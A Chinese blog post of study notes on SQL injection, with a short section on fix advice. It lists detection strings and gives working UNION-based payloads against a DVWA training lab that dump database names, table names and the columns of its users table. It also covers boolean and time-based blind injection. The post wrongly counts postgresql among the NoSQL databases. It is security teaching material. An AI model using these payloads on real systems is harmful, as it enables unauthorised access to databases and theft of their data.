SQL注入(二)

一、SQL注入简介

1.1 sql注入的基本原理

产生原因

web应用程序对用户输入的数据过滤不严谨,并且将输入的数据当做sql语句带入到数据库中去执行。

导致的危害

  • 数据泄露
  • 数据篡改
  • 网站被破坏
  • 写入webshell
  • 远程执行恶意代码

修复建议

  • 对每个网站的数据库用户及权限进行控制,不要用root权限
  • 对传入的特殊字符,例如* & < >等,对这些符号进行转义,或者编码
  • 严格判断传入的数据类型
  • 严格判断传入的数据长度
  • 对sql语句进行预编译和绑定变量
  • 屏蔽报错信息

information_schema库的关键信息

mysql5.0 开始

表一:SCHEMATA

  • schema_name:记录库名

表二:TABLES

  • table_schema:记录的库名
  • table_name:记录的表名

表三:COLUMNS

  • table_schema:记录的库名
  • table_name:记录的表名
  • column_name:记录的字段名

判断是否存在漏洞

id=1 and 1=1

id=1 and 1=2

id=1 or 1=2

id=1 or 1=1

id=1' or '1'='1

id=1" or "1"="1

id=1" or '1'='1'

注入的数据类型

  • int:select * from students where id=1
  • string:select * from students where name=“tom”
  • like:select * from students where name like "t%"

sql中的注释

--空格

#

/*     */

注意:

空格会被url转换成20%

也可用+转换成空格

注入的分类

1. UNION query SQL injection(可联合查询注入)

2. Stacked queries SQL injection(可多语句查询注入)堆叠查询

3. Boolean-based blind SQL injection (布尔型注入)

4. Error-based SQL injection(报错型注入)

5. Time-based blind SQL injection(基于时间延迟注入)

接收用户请求

GET注入

POST注入

COOKIE注入攻击

1.2 union注入

select first_name,last_name from users where user_id = 1' and '1'='1

id=1' and '1'='2

1' and 1=1 -- 

group_concat()

作用:分组打印,将多个信息汇总成一个结果,然后借助于一个回显点进行展示输出

局限性:网页在显示数据的时候,可展示的数据长度往往有限制,那么此时这个函数就要慎用。

注入语句【payload】

http://172.16.100.5/01/vulnerabilities/sqli/?id=1' and 1=2 union select 111,222 --
&Submit=Submit

http://172.16.100.5/01/vulnerabilities/sqli/?id=1' and 1=2 union select
1111,group_concat(user(), 0x3a,database(), 0x3a,version())-- &Submit=Submit

http://172.16.100.5/01/vulnerabilities/sqli/?id=1' and 1=2 union select 1111,
(select table_name from information_schema.tables where table_schema='dvwa' limit
1)-- &Submit=Submit

http://172.16.100.5/01/vulnerabilities/sqli/?id=1' and 1=2 union select 1111,
(select table_name from information_schema.tables where table_schema='dvwa' limit
1,1)-- &Submit=Submit

http://172.16.100.5/01/vulnerabilities/sqli/?id=1' and 1=2 union select 1111,
table_name from information_schema.tables where table_schema='dvwa' limit 1 --
&Submit=Submit

http://172.16.100.5/01/vulnerabilities/sqli/?id=1' and 1=2 union select 1111,
table_name from information_schema.tables where table_schema='dvwa' limit 1,1 --
&Submit=Submit

http://172.16.100.5/01/vulnerabilities/sqli/?id=1' and 1=2 union select 1111,
group_concat(table_name) from information_schema.tables where table_schema='dvwa'
-- &Submit=Submit

http://172.16.100.5/01/vulnerabilities/sqli/?id=1' and 1=2 union select 1111,
group_concat(column_name) from information_schema.COLUMNS where
table_name='guestbook' -- &Submit=Submit

http://172.16.100.5/01/vulnerabilities/sqli/?id=1' and 1=2 union select 1111,
group_concat(column_name) from information_schema.COLUMNS where table_name='users'
-- &Submit=Submit

1.3 盲注

有些网站,用户的输入不会在网页中进行输出,这种网站不能进行UNION注入了,而需要使用盲注,也就是说,如果网站的输出结果是几个固定内容中的一个,那么就需要使用盲注

盲注有两种

布尔盲注:

  • 真:1
  • 假:0

延时盲注

  • sleep()

判断网站是否有漏洞

http://172.16.100.5/01/vulnerabilities/sqli_blind/?id=1' and sleep(3) --
&Submit=Submit#
http://172.16.100.5/01/vulnerabilities/sqli_blind/?id=1' and 1=1 --
&Submit=Submit#
http://172.16.100.5/01/vulnerabilities/sqli_blind/?id=1' and 1=2 --
&Submit=Submit#

if方法

if(条件,值1,值2)
select if(2=2,1,0)

substring方法

substring(目标字符串,开始位置,连续几个字符)
select if(substring("abcdefjho",2,4)

猜解库名的字母

select if(substring(database(),1,1)='h',1,0)

猜解数据库长度

select if(length(database())=7,1,0)

也可以使用Burp进行爆破

1.4 pgsql

数据库的分类

  • 关系型
    • ACID
    • 存储的都是行列构成的数据表
    • 支持事务
    • 数据一致性、安全性较高
    • 性能偏低
    • mysql、SqlServer、Oracle、Access、postgresql、
  • 非关系型【NOSQL】
    • 不支持ACID
    • 存储的通常是非结构化数据
    • 数据一致性较差
    • 性能非常好
    • 存储在内存
    • redis、postgresql、MongoDB、Memcached

什么是事务:

    事务是指数据库执行一批操作,在同一个事务当中,这些操作最终要么全部执行成功,要么全部失败,不会存在部分成功的情况。事务是一个原子操作,是一个最小执行单元,可以由一个或多个sql语句组成

相关推荐

  1. SQL注入注入

    2024-03-31 05:38:03       8 阅读
  2. SQL注入

    2024-03-31 05:38:03       20 阅读
  3. MySQL安全(SQL注入

    2024-03-31 05:38:03       28 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-03-31 05:38:03       17 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-03-31 05:38:03       16 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-03-31 05:38:03       15 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-03-31 05:38:03       18 阅读

热门阅读

  1. shell获取多个oracle库mysql库所有的表主键

    2024-03-31 05:38:03       16 阅读
  2. vue图片压缩

    2024-03-31 05:38:03       15 阅读
  3. RK3588平台开发系列讲解(开发环境搭建)

    2024-03-31 05:38:03       15 阅读
  4. springboot和spring的区别

    2024-03-31 05:38:03       17 阅读
  5. 预处理、编译、汇编、链接过程

    2024-03-31 05:38:03       15 阅读
  6. Superset二次开发之环境搭建Clickhouse(Linux版)

    2024-03-31 05:38:03       17 阅读
  7. npm 常用命令详解 详细

    2024-03-31 05:38:03       16 阅读
  8. vue时间组件:dayjs与moment

    2024-03-31 05:38:03       16 阅读
  9. 物联网在农业领域应用案例

    2024-03-31 05:38:03       16 阅读